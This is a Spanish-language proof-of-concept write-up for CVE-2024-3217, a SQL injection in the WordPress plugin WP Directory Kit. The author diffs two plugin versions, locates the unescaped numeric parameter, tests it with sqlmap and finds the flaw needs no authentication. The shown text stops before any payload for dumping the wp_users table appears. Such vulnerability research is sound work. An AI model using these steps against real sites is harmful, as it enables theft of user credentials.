Prueba de concepto de exploit para CVE-2024-3217, una inyección SQL no autenticada en el plugin de WordPress WP Directory Kit, que permite la extracción de datos sensibles de la base de datos.
El plugin WP Directory Kit para WordPress es vulnerable a inyección SQL a través de los parámetros 'attribute_value' y 'attribute_id' en todas las versiones hasta la 1.3.0 inclusive, debido a un escape insuficiente en el parámetro proporcionado por el usuario y a la falta de preparación adecuada en la consulta SQL existente. Esto permite que atacantes autenticados, con acceso de nivel de suscriptor o superior, añadan consultas SQL adicionales a las consultas existentes que pueden usarse para extraer información sensible de la base de datos.
#análisis He instalado la versión correcta a través de WordPress
https://wordpress.org/plugins/wpdirectorykit/
si quieres una versión anterior haz clic en Advanced View

queremos descargar las versiones 1.3.0 y 1.3.1 para comparación diff
https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.0.zip https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.1.zip
al hacer diff y buscar los valores de 'attribute_value' y 'attribute_id', lo encontré en este archivo
\wpdirectorykit\application\controllers\Wdk_frontendajax.php usé una extensión llamada "folder diff" en VS Code

podemos ver que en la versión 1.3.0 se usó la función "sanitize_text_field", pero el problema no está aquí directamente, sino más abajo en esta parte

podemos ver que si "$attr_search" es numérico, controlaremos $id_part = "$attr_id=$attr_search OR "; que se usará como parte de la consulta SQL, y como no podemos usar ' ya que forma parte de la consulta, no lo necesitamos para escapar, podemos incluir directamente nuestra parte de inyección en el código
que se usará aquí

ahora necesitamos crear una solicitud que alcance estas partes y poner un valor numérico para "$attr_search", luego hacer nuestra inyección. Según la descripción, parece que el mínimo es "subscriber-level", lo comprobaremos más tarde

ahora lo probaremos con SQLMAP para PoC

ahora intentemos encontrar los privilegios mínimos necesarios. Empecemos sin cookies, 0 privilegios, y vayamos sumando desde los mínimos

después de eliminar las cookies, el output aún se evalúa. Probemos el payload de sqlmap para confirmar

es una Prueba de Concepto, no se necesitan cookies en absoluto para este ataque. Creemos un payload simple para extraer todos los valores de wp_users
